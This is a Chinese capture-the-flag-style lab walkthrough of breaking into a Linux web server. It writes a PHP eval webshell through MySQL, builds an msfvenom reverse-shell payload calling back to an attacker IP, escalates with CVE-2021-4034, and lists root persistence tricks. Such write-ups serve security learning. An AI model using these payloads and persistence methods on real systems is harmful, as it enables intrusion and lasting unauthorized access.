前段时间打了两个靶场 由于内网接触的不多 这里在结束之后恶补了一下相关方面的知识,对于初涉内网的小白来说,可以作为一个较好的参考。由于本文主要介绍提权方面,所以代码审计部分就略过,希望大家看了会有所收获
搭建用的系统:ubuntu 16.04 内核4.15.0
web环境 php+mysql+thinkphp
这里提一下 因为一般这种老版本的thinkphp都是二开的 所以那些Nday很少能够成功复现
而且这就是一个html静态页面 所以看完后面的小伙伴不要奇怪为什么不对thinkphp做Nday测试
但是这里有彩蛋
实际情况肯定是要对该站点的子域名 cms 其他ip等等做收集
由于这里是靶场操作 这里就简单进行一个目录扫描
通过目录扫描可以得出 存在phpmyadmin管理界面的登录界面 这种后台嘛 直接bp爆破
没啥说的啦 开BP代理直接跑
成功进入phpmyadmin管理页面 ps:这里提一下 当成功进入管理页面 需要去做什么呢?
查看secure_file_priv是否为NULL 或者为指定路径
(当为NULL的时候 说明没有读写的权限 也就是你可能没法通过into outfile的方式来写入webshell文件 )
查看mysql的版本 路径等
之前提到的 当secure_file_priv为NULL或者指定路径是 是对其他目录没有读写权限的
那么这里为空 也就是说 可以对任意目录写入文件(前提是这个目录的所用者对其他目录有读写权限)
几个必要的前提条件
1.secure_file_priv不为NULL或者指定路径
2.phpmyadmin所在目录的拥有者对其他目录有读写权限
3.全局gpc关闭 (mysql-5.3.29以上默认关闭)
4.root权限(这里指的是登录数据库的用户)
5.知道具体路径(通过信息收集获取,上文有提到静态页面存在菜单 这里可以回去看看) into outfile()方式:
查询执行语句SELECT '<?php @eval($_POST[cmd]);?>' into OUTFILE '/home/wwwroot/default/ruchong.php'
该语句的作用就是写入一句话到网站根目录下 详情自己百度
日志方式
日志方式的写入有两种 全局日志以及慢日志 不过具体用法差不多
实现的原理是 当你开启日志记录是 你所查询的语句都会全部被记录在指定的一个文件中
那假如你指定的是一个php文件并且你查询的语句为一句话木马呢?
全局日志:
首先查询是否开启了全局日志记录
show variables like '%general%'; 查看是否开启
set global general_log = on; #未开启就手动开启general log 模式
set global general_log_file = 'web可访问目录' #设置日志目录为shell地址
SELECT '<?php @eval($_POST[cmd]);?>' #执行查询 即写入到日志文件
慢日志:
#查询慢日志状态
show variables like '%slow_query_log%';
#查询mysql系统时间
show global variables like '%long_query_time%';
#根据时间 设置超时
select '<?php @eval($_POST[1]);?>' or sleep(11); 设置查询时间为11s
这里通过into outfile的方式写入 日志记录也可以
切换到靶机查看是否生成了该文件
小技巧ps:
最好是先生成一个php探针页面 为什么呢?
因为探针页面可以详细的看到当前的web环境的一些相关配置
(禁用函数情况、是否开启php日志、session和php日志目录等等)
这里先进行一些相关的拓展在不存在函数禁用的情况下:一般使用菜刀等就可以了 后续上传大马等等
存在函数禁用的情况:优先考虑使用蚁剑 (可以使用disable_function绕过脚本)
打开虚拟终端 测试命令
这里为什么会无法查询呢?因为这是一个虚拟终端 本质是通过命令执行来调用主机的终端来执行命令 从而回显数据
但是由于相关函数被禁用 所以很多命令都无法执行 也就是说 这个虚拟终端等于废掉
那么 这个时候蚁剑的插件就派上用场了 可以通过绕过来执行少数的一些命令 从而给我们提供更多的操作空间
扩大我们的攻击范围 ps:蚁剑的插件需要挂ti子来下载 有兴趣的自己百度
那肯定是上传webshell 通过反弹来拓展攻击面呀!!
但是前面提到了 插件绕过也只是能够使用少数命令 本质还是虚拟终端 所以很多都无法调用
这个时候 就需要反弹一个shell来进行更多的操作 所以 懂得都懂叭
说到反弹shell 那肯定是msf啦 可以联动cs/bp等 ps:这里是同一网段的靶场环境 所以不需要vps来做中转(真实环境是需要用到vps的 后面有空了再写横向穿越,端口转发以及隧道等内容)
由于是linux系统 这里就生成相应的牧马啦
msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.80.128 LPORT=6666 to -f elf > ruchong.elf方便理解我这里直接写了接收反弹的ip以及端口
小技巧
不同虚拟机传文件需要从当前虚拟机复制到物理机再复制到执行虚拟机
是不是很麻烦?
使用python开启一个临时共享当前目录 就可以直接下载啦
命令: python3 -m http.server
运行之前 msf开启对应payload ip以及端口的监听
payload ip 端口 都要与生成的木马使用的一致
最后的命令run或者exploit开启监听啦
蚁剑上传该牧马
chmod +777 牧马 #给权限运行啦
./牧马 #运行牧马
msf成功收到反弹
既然是内核提权 当然要知道内核信息啦
使用命令uname -a查看当前的系统版本以及内核信息
知道了内核版本后 有多种选择内核的方式 这里简单的列举几个
https://www.exploit-db.com/
搜索命令 searchsploit 版本号/内核号
下载脚本 searchsploit -m fath
该脚本自行上github搜索./linux-exploit-suggester.sh -k 4.15.0
执行脚本 -k 指定的内核版本
run post/multi/recon/local_exploit_suggester这个是自动检测可能成功的内核提权脚本并且逐个尝试
由于需要大概半个小时 所以就没有操作 有兴趣的可以自行尝试
前面说了那么多 终于到关键的一步了先说说为什么提权要提权:
1.某些命令需要高权限用户才可执行
2.低权限用户对于大多数敏感目录没有读取权限
3.无法dump密码 不存在密码喷洒
这里利用cve-2021-4034来进行提权 github可以搜索下载
使用蚁剑上传 下面po一下改提权脚本 如何使用
在msf执行红框命令
可以看到 成功提权到root权限
root权限能干嘛 不用多说了吧
下面简单说一下权限维持的几个方式
1.创建一个用户 并且权限为root 用户名可以伪造成系统用户名 比如说mysqld等等
2.开启ssh登录 并且生成root的ssh认证密钥对 将其保存本地 后渗透直接使用ssh登录
3.添加计划任务 即周期性的使用root身份反弹shell
4.使用不死马或者内存马
5.设置启动项
后面有时间我会单独写提权方式、不同平台提权、内网横向移动所使用的端口转发、sock隧道建立的文章
这里大概提一下linux系统提权的其他方式 1.suid提权 #使用find查找root用户的suid文件 通过运行该类文件获取root权限
2.sudo提权 #个人觉得有点鸡肋 毕竟一般来说 webshell登录的用户权限是无法操作sudoers文件
3.计划任务提权 #查看计划任务中有root权限的脚本 通过运行该脚本获取root权限
4.mysql提权 #本次靶场是可以使用mysql提权的 百度cve-2016-6663了解
对于内核提权就写到这啦 整体看下来应该都会有一个比较清楚的认知吧 不懂的话多看几遍 相对来说是写的比较详细的了。关于内网还有很多需要学习的知识 像提权后的权限维持、横向移动、后渗透、痕迹清理、不同平台的不同方式提权、以及进阶的域渗透。后期有空了会更新有关内容的文章。学海无涯,希望大家每天都能学到新知识提升自己,学到的东西可不要做非法的事哈!!!!
个人博客链接: https://webgotd.com
本文作者:xixibdgrn, 转载请注明来自FreeBuf.COM
推荐阅读